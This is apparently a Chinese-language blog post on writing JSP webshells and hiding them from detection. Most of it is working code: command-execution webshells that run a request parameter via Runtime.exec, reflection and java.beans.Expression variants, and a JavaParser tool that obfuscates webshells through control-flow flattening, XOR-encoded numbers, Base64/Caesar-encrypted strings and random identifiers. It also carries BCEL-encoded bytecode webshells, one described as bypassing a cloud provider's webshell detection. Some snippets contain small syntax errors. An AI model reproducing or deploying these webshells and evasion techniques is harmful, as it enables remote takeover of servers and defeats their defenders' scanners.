springboot时代
jsp网站在减少,webshell确实在流逝,慢慢的过时
基本的反射
防止中文输出乱码
一句话木马
<%@ page language="java" pageEncoding="UTF-8" %>
<%
Runtime.getRuntime().exec(request.getParameter("cmd"));
%>
拆开
<%@ page language="java" pageEncoding="UTF-8" %>
<%
String cmd=request.getParameter("cmd")
Runtime.getRuntime().exec(cmd);
%>
回显
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.InputStreamReader" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page language="java" pageEncoding="UTF-8" %>
<%
String cmd=request.getParameter("cmd");
Process exec = Runtime.getRuntime().exec(cmd);
InputStream inputStream = exec.getInputStream();
InputStreamReader inputStreamReader = new InputStreamReader(inputStream);
BufferedReader bufferedReader = new BufferedReader(inputStreamReader);
String s =null;
response.getWriter().println("
<pre>");
while ((s=bufferedReader.readLine())!=null){
response.getWriter().println(s);
}
response.getWriter().println("
<pre>");
%>
反射
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.InputStreamReader" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.lang.reflect.Method" %>
<%@ page language="java" pageEncoding="UTF-8" %>
<%
String cmd=request.getParameter("cmd");
Class<?> aClass = Class.forName("java.lang.Runtime");
Method getRuntime = aClass.getMethod("getRuntime");
Method exec1 = aClass.getMethod("exec", String.class);
Object invoke = exec1.invoke(getRuntime.invoke(null), cmd);
Process exec=(Process)invoke;
// Process exec = Runtime.getRuntime().exec(cmd);
InputStream inputStream = exec.getInputStream();
InputStreamReader inputStreamReader = new InputStreamReader(inputStream);
BufferedReader bufferedReader = new BufferedReader(inputStreamReader);
String s =null;
response.getWriter().println("
<pre>");
while ((s=bufferedReader.readLine())!=null){
response.getWriter().println(s);
}
response.getWriter().println("
<pre>");
%>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.InputStreamReader" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page language="java" pageEncoding="UTF-8" %>
<%
String cmd=request.getParameter("cmd");
Class<?> aClass = Class.forName("java.lang.Runtime");
Field currentRuntimes = aClass.getDeclaredField("currentRuntime");
currentRuntimes.setAccessible(true);
Runtime orr =(Runtime) currentRuntimes.get(null);
Process exec = orr.exec(cmd);
//
// Method getRuntime = aClass.getMethod("getRuntime");
// Method exec1 = aClass.getMethod("exec", String.class);
// Object invoke = exec1.invoke(getRuntime.invoke(null), cmd);
// Process exec=(Process)invoke;
// Process exec = Runtime.getRuntime().exec(cmd);
InputStream inputStream = exec.getInputStream();
InputStreamReader inputStreamReader = new InputStreamReader(inputStream);
BufferedReader bufferedReader = new BufferedReader(inputStreamReader);
String s =null;
response.getWriter().println("
<pre>");
while ((s=bufferedReader.readLine())!=null){
response.getWriter().println(s);
}
response.getWriter().println("
<pre>");
%>
jspHorse
红字是缺少jar包依赖
控制流平坦化
在反射调用的基础上结合控制流平坦化的思想后,会达到怎样的效果呢
(对于控制流平坦化的概念大致来说就是将代码转为switch块和分发器)
以下是上文反射代码修改后的结果,可以手动也可以写脚本来生成
// 这里给出的是规定顺序的分发器
String dispenserArr = "0|1|2|3|4|5|6|7|8|9|10|11|12";
String[] b = dispenserArr.split("\\|");
int index = 0;
// 声明变量
String passwd = null;
String cmd = null;
Class rt = null;
java.lang.reflect.Method gr = null;
java.lang.reflect.Method ex = null;
Process process = null;
java.io.InputStream in = null;
java.io.InputStreamReader resulutReader = null;
java.io.BufferedReader stdInput = null;
while (true) {
int op = Integer.parseInt(b[index++]);
switch (op) {
case 0:
passwd = request.getParameter("pwd");
break;
case 1:
cmd = request.getParameter("cmd");
break;
case 2:
if (!passwd.equals(PASSWORD)) {
return;
}
break;
case 3:
rt = Class.forName("java.lang.Runtime");
break;
case 4:
gr = rt.getMethod("getRuntime");
break;
case 5:
ex = rt.getMethod("exec", String.class);
break;
case 6:
process = (Process) ex.invoke(gr.invoke(null), cmd);
break;
case 7:
in = process.getInputStream();
break;
case 8:
out.print("
<pre>");
break;
case 9:
resulutReader = new java.io.InputStreamReader(in);
break;
case 10:
stdInput = new java.io.BufferedReader(resulutReader);
case 11:
String s = null;
while ((s = stdInput.readLine()) != null) {
out.println(s);
}
break;
case 12:
out.print("</pre>");
break;
}
}
注意到在开头定义了0|1|2|3|4|5|6|7|8|9|10|11|12
这样的字符串,其中数字的顺序对应了switch
块中的执行顺序,当前是从第0条到第12条执行
在进入switch
之前,需要实现声明变量,否则在Java的语法下,单一case
语句的变量无法被其他case
语句获取
当执行完命令后,变量index
会超过最大索引,导致报错停止脚本,所以并不会出现占用服务端资源的情况
然而在这种情况下,分发器中的数字顺序是一定的,case
块的顺序也是一定的,所以需要打乱这些变量实现混淆和免杀
使用了Java的AST库JavaParser
解析代码并实现这样的功能
if (target instanceof StringLiteralExpr) {
// StringLiteralExpr对象就是简单的字符串
String value = ((StringLiteralExpr) target).getValue();
// 如果包含了这个符号认为是分发器
if (value.contains("|")) {
String[] a = value.split("\\|");
int length = a.length;
// 一个简单的数组打乱算法
for (int i = length; i > 0; i--) {
int randInd = rand.nextInt(i);
String temp = a[randInd];
a[randInd] = a[i - 1];
a[i - 1] = temp;
}
// 打乱后的数字再用|拼起来
StringBuilder sb = new StringBuilder();
for (String s : a) {
sb.append(s).append("|");
}
String finalStr = sb.toString();
finalStr = finalStr.substring(0, finalStr.length() - 1);
// 打乱后的分发器设置回去
((StringLiteralExpr) target).setValue(finalStr);
result = finalStr;
}
}
打乱switch-case
块的代码
String[] a = target.split("\\|");
// 得到Switch语句为了后文的替换
SwitchStmt stmt = method.findFirst(SwitchStmt.class).isPresent() ?
method.findFirst(SwitchStmt.class).get() : null;
if (stmt == null) {
return;
}
// 得到所有的Case块
List<SwitchEntry> entryList = method.findAll(SwitchEntry.class);
for (int i = 0; i < entryList.size(); i++) {
// Case块的Label是数字
if (entryList.get(i).getLabels().get(0) instanceof IntegerLiteralExpr) {
// 拿到具体的数字对象IntegerLiteralExpr
IntegerLiteralExpr expr = (IntegerLiteralExpr) entryList.get(i).getLabels().get(0);
// 设置为分发器对应的顺序数字
expr.setValue(a[i]);
}
}
// 打乱Case块集合
NodeList<SwitchEntry> switchEntries = new NodeList<>();
Collections.shuffle(entryList);
switchEntries.addAll(entryList);
// 塞回原来的Switch中
stmt.setEntries(switchEntries);
经过打乱后的效果还是比较满意的
String dispenserArr = "1|2|9|4|11|10|3|8|7|12|5|0|6";
String[] b = dispenserArr.split("\\|");
...
while (true) {
int op = Integer.parseInt(b[index++]);
switch(op) {
case 11:
gr = rt.getMethod("getRuntime");
break;
case 0:
String s = null;
while ((s = stdInput.readLine()) != null) {
out.println(s);
}
break;
case 5:
stdInput = new java.io.BufferedReader(resulutReader);
case 12:
resulutReader = new java.io.InputStreamReader(in);
break;
case 4:
rt = Class.forName("java.lang.Runtime");
break;
...
}
}
异或加密数字
异或加密很简单:a^b=c
那么a^c=b
如果a变量是加密的目标,我们就可以随机一个b,计算得到的c和b异或回到原来的a
对于其中的数字,可以采用异或加密,并可以使用多重
发现其中的数字变量其实并不够多,那么如何造出来更多的数字变量呢?
把字符串变量都提到全局数组,然后用数组访问的方式使用字符串
String[] globalArr = new String[]{"0|1|2|3|4|5|6|7|8|9|10|11|12|13", "pwd", "cmd", "java.lang.Runtime",
"getRuntime", "exec", "
<pre>", "</pre>"};
String temp = globalArr[0];
String[] b = temp.split("\\|");
...
while (true) {
int op = Integer.parseInt(b[index++]);
switch (op) {
case 0:
passwd = request.getParameter(globalArr[1]);
break;
case 1:
cmd = request.getParameter(globalArr[2]);
break;
...
}
}
这时候的globalArr[1]
调用方式就可以用异或加密了
Random random = new Random();
random.setSeed(System.currentTimeMillis());
// 遍历所有的简单数字对象
List<IntegerLiteralExpr> integers = method.findAll(IntegerLiteralExpr.class);
for (IntegerLiteralExpr i : integers) {
// 原来的数字a
int value = Integer.parseInt(i.getValue());
// 随机的数字b
int key = random.nextInt(1000000) + 1000000;
// c=a^b
int cipherNum = value ^ key;
// 用一个括号包裹a^b防止异常
EnclosedExpr enclosedExpr = new EnclosedExpr();
BinaryExpr binaryExpr = new BinaryExpr();
// 构造一个c^b
binaryExpr.setLeft(new IntegerLiteralExpr(String.valueOf(cipherNum)));
binaryExpr.setRight(new IntegerLiteralExpr(String.valueOf(key)));
binaryExpr.setOperator(BinaryExpr.Operator.XOR);
// 塞回去
enclosedExpr.setInner(binaryExpr);
i.replace(enclosedExpr);
}
双重异或加密后的效果
String[] globalArr = new String[] { "1|11|13|9|5|8|12|3|4|2|10|6|7|0", "pwd", "cmd", "java.lang.Runtime", "getRuntime", "exec", "
<pre>", "</pre>" };
String temp = globalArr[((1913238 ^ 1011481) ^ (432471 ^ 1361880))];
...
int index = ((4813 ^ 1614917) ^ (381688 ^ 1926256));
...
while (true) {
int op = Integer.parseInt(b[index++]);
switch(op) {
case ((742064 ^ 1861497) ^ (1601269 ^ 1006398)):
out.print(globalArr[((367062 ^ 1943510) ^ (1568013 ^ 1037067))]);
break;
case ((108474 ^ 1265634) ^ (575043 ^ 1715728)):
cmd = request.getParameter(globalArr[((735637 ^ 1455096) ^ (115550 ^ 1886513))]);
break;
case ((31179 ^ 1437731) ^ (335232 ^ 1086562)):
resulutReader = new java.io.InputStreamReader(in);
break;
...
}
}
加密字符串常量
还剩一部,其中提取的globalArr
中的字符串是明文的
加密的算法必须是可逆的,因为在执行的时候需要取出来还原
笔者选择了比较简单的恺撒加密,没有使用复杂的AES等加密
由于恺撒加密无法对特殊字符加密,所以最终选择了Base64加恺撒加密的做法
给出网上找到的算法,在这个基础上做了修改
// 加密算法
public static String encryption(String str, int offset) {
char c;
StringBuilder str1 = new StringBuilder();
for (int i = 0; i < str.length(); i++) {
c = str.charAt(i);
if (c >= 'a' && c <= 'z') {
c = (char) (((c - 'a') + offset) % 26 + 'a');
} else if (c >= 'A' && c <= 'Z') {
c = (char) (((c - 'A') + offset) % 26 + 'A');
} else if (c >= '0' && c <= '9') {
c = (char) (((c - '0') + offset) % 10 + '0');
} else {
str1 = new StringBuilder(str);
break;
}
str1.append(c);
}
sun.misc.BASE64Encoder encoder = new sun.misc.BASE64Encoder();
return encoder.encode(str1.toString().getBytes(StandardCharsets.UTF_8));
}
// 需要嵌入JSP的解密算法
public static String dec(String str, int offset) {
try {
// 先Base64解码
byte[] code = java.util.Base64.getDecoder().decode(str.getBytes("utf-8"));
str = new String(code);
char c;
// 然后尝试恺撒密码解密
StringBuilder str1 = new StringBuilder();
for (int i = 0; i < str.length(); i++) {
c = str.charAt(i);
if (c >= 'a' && c <= 'z') {
c = (char) (((c - 'a') - offset + 26) % 26 + 'a');
} else if (c >= 'A' && c <= 'Z') {
c = (char) (((c - 'A') - offset + 26) % 26 + 'A');
} else if (c >= '0' && c <= '9') {
c = (char) (((c - '0') - offset + 10) % 10 + '0');
} else {
str1 = new StringBuilder(str);
break;
}
str1.append(c);
}
String result = str1.toString();
// 处理特殊情况
result = result.replace("\\\"","\"");
result = result.replace("\\n","\n");
return result;
} catch (Exception ignored) {
return "";
}
}
注意到恺撒密码需要一个偏移量,所以需要保存下这个偏移写入JSP
Random random = new Random();
random.setSeed(System.currentTimeMillis());
// 随机偏移
int offset = random.nextInt(9) + 1;
// 得到字符串
List<StringLiteralExpr> stringList = method.findAll(StringLiteralExpr.class);
for (StringLiteralExpr s : stringList) {
if (s.getParentNode().isPresent()) {
// 如果是数组中的字符串
if (s.getParentNode().get() instanceof ArrayInitializerExpr) {
// 进行加密
String encode = EncodeUtil.encryption(s.getValue(), offset);
// 可能会有意外的换行
encode = encode.replace(System.getProperty("line.separator"), "");
// 设置回去
s.setValue(encode);
}
}
}
// 记录偏移量
return offset;
重点来了,在被加密的字符串调用的时候需要添加上解密函数
效果是:globalArr[1] -> dec(global[1])
public static void changeRef(MethodDeclaration method, int offset) {
// 所有的数组访问对象
List<ArrayAccessExpr> arrayExpr = method.findAll(ArrayAccessExpr.class);
for (ArrayAccessExpr expr : arrayExpr) {
// 如果访问的是globalArr
if (expr.getName().asNameExpr().getNameAsString().equals("globalArr")) {
// 造一个方法调用对象,调用的是解密dec方法
MethodCallExpr methodCallExpr = new MethodCallExpr();
methodCallExpr.setName("dec");
methodCallExpr.setScope(null);
// dec方法参数需要是NodeList对象
NodeList<Expression> nodeList = new NodeList<>();
ArrayAccessExpr a = new ArrayAccessExpr();
a.setName(expr.getName());
a.setIndex(expr.getIndex());
// 第一个参数为原来的数组调用
nodeList.add(a);
// 记录的offset需要传入第二个参数
IntegerLiteralExpr intValue = new IntegerLiteralExpr();
// 塞回去
intValue.setValue(String.valueOf(offset));
nodeList.add(intValue);
methodCallExpr.setArguments(nodeList);
expr.replace(methodCallExpr);
}
}
}
处理后的结果,结合异或加密来看效果很不错
String[] globalArr = new String[] { "M3w4fDV8OXwyfDB8NHw2fDEwfDEzfDF8MTF8MTJ8Nw==", "dWJp", "aHJp", "amF2YS5sYW5nLlJ1bnRpbWU=", "bGp5V3pzeW5yag==", "amNqaA==", "PHByZT4=", "PC9wcmU+" };
...
while (true) {
int op = Integer.parseInt(b[index++]);
switch(op) {
case ((268173 ^ 1238199) ^ (588380 ^ 1968486)):
ex = rt.getMethod(dec(globalArr[((895260 ^ 1717841) ^ (247971 ^ 1333227))], ((706827 ^ 1975965) ^ (557346 ^ 1863345))), String.class);
break;
break;
case ((713745 ^ 1371509) ^ (428255 ^ 1606073)):
gr = rt.getMethod(dec(globalArr[((254555 ^ 1810726) ^ (282391 ^ 1838190))], ((414648 ^ 1339706) ^ (324750 ^ 1496585))));
break;
case ((63576 ^ 1062484) ^ (129115 ^ 1128030)):
rt = Class.forName(dec(globalArr[((193062 ^ 1348770) ^ (1652640 ^ 1003815))], ((369433 ^ 1334986) ^ (200734 ^ 1240520))));
break;
...
}
}
标识符随机命名
还差一步,需要对其中所有的标识符进行随机命名
这一步不难,拿到所有的NameExpr
对name属性做修改即可
Map<String,String> vas = new HashMap<>();
// 所有的变量声明
List<VariableDeclarator> vaList = method.findAll(VariableDeclarator.class);
for(VariableDeclarator va:vaList){
// 将变量名都随机修改
String newName = RandomUtil.getRandomString(20);
// 注意记录变量的映射关系
vas.put(va.getNameAsString(), newName);
va.setName(newName);
}
// 需要修改引用到该变量的变量名
method.findAll(NameExpr.class).forEach(n->{
// 修改引用
if(vas.containsKey(n.getNameAsString())){
n.setName(vas.get(n.getNameAsString()));
}
});
BCEL
博客园
Byte Code Engineering Library (BCEL),这是Apache Software Foundation 的Jakarta 项目的一部分。BCEL是 Java classworking 最广泛使用的一种框架,它可以让您深入 JVM 汇编语言进行类操作的细节。BCEL与Javassist 有不同的处理字节码方法,BCEL在实际的JVM 指令层次上进行操作(BCEL拥有丰富的JVM 指令级支持)而Javassist 所强调的源代码级别的工作。
该类存储在com.sun.org.apache.bcel.internal.util
包中
BECL ClassLoade也是一种恢复成一个类并在JVM虚拟机中进行加载的字节序列
BCEL也是在JDK库中,在com.sun.org.apache.bcel.internal.util
的包中有一个ClassLoader类,它是一个ClassLoader类,和默认的java.lang
包下的ClassLoader类不同,loadClass实现不同而已。
BECL类的ClassLoader的loadClass方法特征:如果传入的字节数据以BCEL
字符开始,就会进入createClass方法
接着就会通过Utility.decode
转换为字节格式,然后通过ClassParser根据Class类的格式来进行解析,生成JavaClass对象
最后通过defineClass来返回一个对应的class对象
这里来模拟下本地通过BCEL的ClassLoader实现命令执行的过程
public class Example {
static{
try{
Runtime.getRuntime().exec("calc");
}catch(Exception e){
}
}
}
public class HelloBCEL {
public static void main(String[] args) throws Exception{
JavaClass cls = Repository.lookupClass(Example.class);
String code = Utility.encode(cls.getBytes(),true);
System.out.println(code);
Class<?> aClass = new ClassLoader().loadClass("$$BCEL$$" + code);
aClass.newInstance();
}
}
当执行完aClass.newInstance();
,则会执行calc
这里顺便回顾下知识点:
1、ClassLoader的loadClass来进行实例化Class的时候,不会触发static静态代码块,只是把类加载到了 JVM 虚拟机中
2、class.forName()
默认会对类进行初始化,会执行类中的 static 代码块
b站
在fastjson中也有利用
可以加载一个特殊格式的字符串(本质就是一个字节码)
import com.sun.org.apache.bcel.internal.classfile.Utility;
import java.net.URI;
import java.nio.file.Files;
import java.nio.file.Paths;
public class util {
public static void main(String[] args) throws Exception{
URI uri = util.class.getResource("Evil.class").toURI();
byte[] bytes = Files.readAllBytes(Paths.get(uri));
String encode = Utility.encode(bytes, true);
System.out.println(encode);
}
}
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
public class Evil {
String result;
public Evil(String cmd) throws Exception{
StringBuilder stringBuilder = new StringBuilder();
InputStream exec = Runtime.getRuntime().exec(cmd).getInputStream();
InputStreamReader inputStreamReader = new InputStreamReader(exec);
BufferedReader bufferedReader = new BufferedReader(inputStreamReader);
String line;
while ((line=bufferedReader.readLine())!=null){
stringBuilder.append(line).append("\n");
}
this.result=stringBuilder.toString();
// System.out.println(new Evil(cmd));
}
@Override
public String toString() {
return result;
}
}
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page language="java" pageEncoding="UTF-8" %>
<%
String cmd=request.getParameter("cmd");
String bcel ="$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$85T$dbR$gA$Q$3d$D$cb$O$ac$eb$F$U$91$98$9b$b9$u$e2$85$c4$dc$M$g$93h4$9a$m$g$b1L$f1$b8$c0h$d6$c0B$c1b$f9GyM$aa$SH$c5$aa$3c$e6$n$7f$92$7fH$c5$f4$y$m$a1$c4$ca$c3$f6$cc$f4$e9$e99$7d$b6g$7e$fe$f9$f6$j$c0$7d$ecj$f0c$8e$e3$9e$G$X$e64$f2$3c$90$e6$a1$86G$98$e7x$ac$81$p$ce$b1$a0$c1$87Ei$9e$c8$c0$r$_$9e$ca$f1$99$P$Dx$ce$b1$cc$b1$c2$a0$96E$a5$9a$b7$Z$C$89C$e3$c8$88$e5$N$eb$m$96$b2$cb$a6u$b0$40$e8$a2i$99$f6$SC0r$k$9e$dccPV$8a9$c1$d0$9f0$z$91$ac$W2$a2$bckd$f2B$a6$xf$8d$fc$9eQ6$e5$ba$e9T$ecwf$85$b2$sV$8f$cc$3c$a5wg$L9$86$de$8a$93o$b9j$e6s$a2$cc$Q$3ewT$T$a2$j$8a8$WY$a2$d3$I1$8b$b1$N$abT$b5$vJ$Y$F$82$fdf$7b$b9$p$M$t$ddh$b7$d8$GH$3b$fa2$d5$fd$7dQ$W$b9V$f8$c8Y$f8r$H$o$P$cfS$95$c47e$h$d9$f7$9bF$c9$a9$ca$R$f2$F$fd$M$8eU$d2$9edg$d0V$8f$b3$a2d$9bE$ab$c2$b1$c6$e0$b5$8b$8dB$Y$86$o$93$dd$84$d6R$c5j9$x$d6L$v$93O$ca3$x$a3t$M$e1$rC$e8$CA8$d6ul$e0$95$8e$abx$cd$91$d0$b1$89$q$Jxa$c12$df$W$c3p$f7$S$r$ba$ad$e3$Nb$3av$90b$60$9a$8eY$b9$K$60$90$ca$97$b4$Y$G$dad$b62$87$okw$b8Zu$Ov$e1$d0$f2$3a$81g$SQ$hDd$x$f9$db$d8N$d5$b2$cd$C$v$a1$j$I$fbl$R$ec$90$ae$e9$s$ed$s$ba$f5$e6$3f$ae$edr1$x$w$95$85$8e$p$9aNj$A$3a$a2$83c$a8u$cc$b9$ee$g$89t$F$q$f9$c16$d4l$X$e9$f5$S$9eK8M$a3$g$a5$92$b0$a8$dbg$fe$c3$b6$b3$e31F$97$d5O$b7$9e$d1G$7f$81$ac$8b$e6C$I$d28L$ab$dfp$d3m$H$b6$a2u$b0$T$b8$d2u$b87$bfB$99$aa$c1S$83$9a$3c$BO$cf$d4$e1$8d$x$t$f0$a5$c3J$jZ$dc$T$s$a8$t$jW$7f$m0$jVk$d0$D$bdd$de$7e8$fd$V$9d$ae$a1$ef$L$fa$3fQJ7Bd$c7$e9$fd$A$j$a1$c0$L$9d$e6$nhD$aa$H$d3$e8$a5$e7$a6$PkD0I$d4F$uj$bdA$Fa$5c$C$9c$d9$uQf$b4o$F$97q$85$u$870O$bdz$8dr$8fQg$5d$t$abP$a6$9b$b8A$9f$87$de$b0Q$dc$a2$j$wn$d3$ee1$b8N$JT9$c69$s8$o$i$93$iQ$8e$vYv$98$7c$84$82$S$90$a8$f4Q$a3$92$95$9a$c8Q$ea$e5$89$7eF$ffGG2Y$89$ea8$83$OS$bd$R$d0d$cap$c7$89$ba$fb$X$f4P$3d$a7c$F$A$A";
Class<?> aClass = Class.forName("com.sun.org.apache.bcel.internal.util.ClassLoader");
ClassLoader loader =(ClassLoader) aClass.newInstance();
Class<?> aClass1 = loader.loadClass(bcel);
Constructor<?> constructor = aClass1.getConstructor(String.class);
Object o = constructor.newInstance(cmd);
response.getWriter.print("
<pre>");
System.out.println(o.toString());
response.getWriter.print("
<pre>");
%>
先知社区
<%@ page import="com.sun.org.apache.bcel.internal.util.ClassLoader" %>
<html>
<body>
<h2>BCEL字节码的JSP Webshell</h2>
<%
String bcelCode = "$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$85U$5bW$hU$U$fe$86$ML$Y$a6$40$93r$d5$e2$8d$dap$ebh$eb$a5$96$8a6$I$V$N$X$81$82$Uo$93$c9$n$M$9d$cc$c4$c9$a4$82w$fd$N$fe$H_$adKC$97$b8$7c$f4$c1G$7f$86$bf$c1e$fd$ce$q$40b$c2$f2a$ce$99$b3$f7$9e$bd$bf$fd$ed$bd$cf$fc$f1$cf$_$bf$Bx$B$df$ea$Y$c6$8c$86$d7t$b4$c9$fdu$N$b7t$a41$x$977t$cca$5eG$3bn$ebP$f1$a6$5c$W$a4$e1$5bq$bc$z$f7L$tz$b1$a8aI$c72V$e2xG$c7$w$d6t$ac$e3$8e$5c6tl$e2$ddNl$e1n$i$db$3a$de$c3$fb$g$3eP$Q$LDIA$o$b3g$dd$b7L$d7$f2$f2$e6Z$Y8$5e$7eZA$c7M$c7s$c2$Z$F$7d$a9f$f5$d8$86$Cu$d6$cf$J$F$3d$Z$c7$TK$e5BV$E$ebV$d6$V$d2$9do$5b$ee$86$V8$f2$5c$T$aa$e1$ae$c3P$X2$eb$bb$81$Q$b9$e0$9aU$d8$U$d9$b5$5d$e1$ba$M$W$b3$L9$F$e7J$91$f7t$d9qs$oP0$d4$U$b8$a6$e2$X$dd$d9$f2$ce$8e$IDnUX$91$f1$60$d5$d8$f1$cdt$83$86$b6$aaK$88t$bf$WZ$f6$bdE$ab$YA$oW$g$3e$q$df$a4Z$81$3e$b7o$8bb$e8$f8$5eI$c3G$K$e2$a1_$8dH$c8$a9$b1V$fc$a8$F$cb$f1$U$f4$a7$b6$cf$a0$c7$K$f2L8$d9B$ad$a0$cb$f1$8a$e5$90Ga$V$c8$f0$J$f4$85S1$ad$da$b3$H$a1$acO$dbv$9a$fe$ec$88n$7d$cd$_$H$b6$98w$q$a9$D$cdd$5e$91$ae$M$5c$84E$f5$Z$f4$Ruk$aeHy$L$qU$9d$86$ac$B$h9$D$C$3b$g$f2$Gv$e1$c8$40$7br$b9g$c0$c5U$D$F$90$TE7$f0$bc$3c$3d$86$c7$d9$O$cd$m5$f8$G$8a$f8$98Uk$91$81$edZ$rV$n0PB$a8$a1l$e0$3e$3e1$b0$8f$D$N$9f$g$f8$M$9fk$f8$c2$c0$97$f8$8au$g$jM$cf$ceeFG5$7cm$e0$h$8c$u$e8$3d$cdz9$bb$t$ec$b0At$5c$d5$e4I$a2$cb$t$a5g$l$a6d$e9$ce$9f$9a$af$96$bd$d0$vH$de$f3$o$3c9$f45$b4DM$y$7bB$ec$L$5b$c1$e5V$TS$tZ$J$7c$5b$94J$d3$N$91jBv6$p$z$d4$b7$c7$c0q$b4$a6$G$ZL$b5T$c8$i$92$a7$aa$da$iHi$9c$fa$5c$s$9a$86$O$abX$U$k$a7n$ea$7f$d0$few$f2zNU$b3$b2RU$c4$d1k$c6$afuQ$D$3fu$w$7e$de$d7RA$c0$92$60Q$8a$ba$fbV$e98$f7$b1$b3$c15$b1$91l$nV$d0I$a1$e3V$_$n$96w$81U$92$qp$baR$dbiy$bcj$fb$F$b3T$f6L$3f$c8$9bV$d1$b2w$85$99$b5$85k$3a$5e$u$C$cfr$cd$a8$nw8q$e6$9d$d0q$9d$f0$80$ec$J$af$3a$8f$D$f4r$b7$e5$FQ$dft$H$a5P$QK$cc$_$87$f5$e3$beB$d3$W$f8$eb$c4$K$b4$a2$3c$b9$k$9e$e2$N$3f$cc_$85$c2$87$83$c55$c6$f7$8b$Y$e1$f5$ff$EO$7f$a2$83$ff$H$e0$f6$f8$n$94$p$b4m$j$o$b6x$Eu$eb$I$ed$5b$P$d11Q$81VA$fc$Q$9d$87$d0$97$a6$w$e8$da$ba$a1$fe$8e$c4$e4$90Z$81$918$c7e$f3$fbG$7f$8dOV$d0$fd3z$kD$B$9e$e4$3a$C$8dk7$7f9$3d0$I$e2$S$S0$91$c4$M$fa0$8f$7e$C$93$ff$af$u4$9e$c63$40$f46J$88$K$ed$a7i$ff$y$n$5e$a2$ee2R$f49I$f8c$d4$aa$Y$8fRi$7bD$a5$aaaB$c3$a4$86$v$NW$80$bf1$c8$T$c3$80f$K$9e$e3$c3$h$85$ab$cc$d4$e4$$Yh$l$ff$J$3d$3f$f0$a5$z$c2$d9$R$J$87$p$3cF$d5$a0$86$a7$T$d7$88$b0J$d3wD$a0r$bf$9e$e8$ad$e0$7c$oQA2Cj$$$fc$g_$9c$60$ea$7d$9b$93$eaC$f4$_$fd$88$81$g$87$89A2C$ba$M$f2R$c1$d0$83$93x$c3$8c$u$d9$e9$a2$df$E$r$83$8c$3c$c2$88$_3$a6$c40$5e$8d$83$X$f1$S$f7$$LQs$9d$b8$S$e4$e3$V$dc$a0$97$R$fa$98$s$T$b1$86DoF$R$5e$fd$X$cb$B$rU$g$I$A$A";
response.getOutputStream().write(String.valueOf(new ClassLoader().loadClass(bcelCode).getConstructor(String.class).newInstance(request.getParameter("threedr3am")).toString()).getBytes());
%>
</body>
</html>
上述使用了com.sun.org.apache.bcel.internal.util.ClassLoader
直接加载BCEL格式的字节码,实现了bypass某云的Webshell的检测。
而BCEL字节码的生成,以及执行指令的恶意类如下:
import com.sun.org.apache.bcel.internal.classfile.Utility;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
/**
* @author threedr3am
*/
public class Threedr3am {
String res;
public Threedr3am(String cmd) throws IOException {
StringBuilder stringBuilder = new StringBuilder();
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream()));
String line;
while((line = bufferedReader.readLine()) != null) {
stringBuilder.append(line).append("\n");
}
res = stringBuilder.toString();
}
@Override
public String toString() {
return res;
}
public static void main(String[] args) throws IOException {
InputStream inputStream = Threedr3am_15.class.getClassLoader().getResourceAsStream("Threedr3am.class");
byte[] bytes = new byte[inputStream.available()];
inputStream.read(bytes);
String code = Utility.encode(bytes, true);
System.out.println("$$BCEL$$" + code);
}
}
因为BCEL生成的时候是不带前缀BCEL的,所以需要我们自己补充上。
baensExpression
java.beans.Expression同样可以实现命令执行,第一个参数是目标对象,第二个参数是所要调用的目标对象的方法,第三个参数是参数数组。这个类的优势是可以把要执行的方法放到一个字符串的位置,不过限制就是第一个参数必须是Object。不过我们可以配合反射将Runtime类的关键字给隐藏掉。
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<%@ page import="java.beans.Expression" %>
<%@ page import="java.io.InputStream" %>
<%@ page language="java" pageEncoding="UTF-8" %>
<%
String cmd= request.getParameter("cmd");
Expression exec = new Expression(Runtime.getRuntime(), "exec", new Object[]{cmd});
Process process=(Process) exec.getValue();
InputStream inputStream = process.getInputStream();
StringBuilder stringBuilder = new StringBuilder();
InputStreamReader inputStreamReader = new InputStreamReader(inputStream);
BufferedReader bufferedReader = new BufferedReader(inputStreamReader);
String s =null;
response.getWriter().println("
<pre>");
while ((s=bufferedReader.readLine())!=null){
stringBuilder.append(s).append("\n");
}
response.getWriter().println(stringBuilder.toString());
response.getWriter().println("
<pre>");
%>
<%@ page language="java" pageEncoding="UTF-8" %>
<%
String cmd = request.getParameter("cmd");
// 这里的exec可以拆为四个字符的ASCII做进一步免杀
java.beans.Expression shell = new java.beans.Expression(Runtime.getRuntime(),"exec",new Object[]{cmd});
java.io.InputStream in = ((Process)shell.getValue()).getInputStream();
// 普通回显
StringBuilder outStr = new StringBuilder();
response.getWriter().print("
<pre>");
java.io.InputStreamReader resultReader = new java.io.InputStreamReader(in);
java.io.BufferedReader stdInput = new java.io.BufferedReader(resultReader);
String s = null;
while ((s = stdInput.readLine()) != null) {
outStr.append(s + "\n");
}
response.getWriter().print(outStr.toString());
response.getWriter().print("</pre>");
%>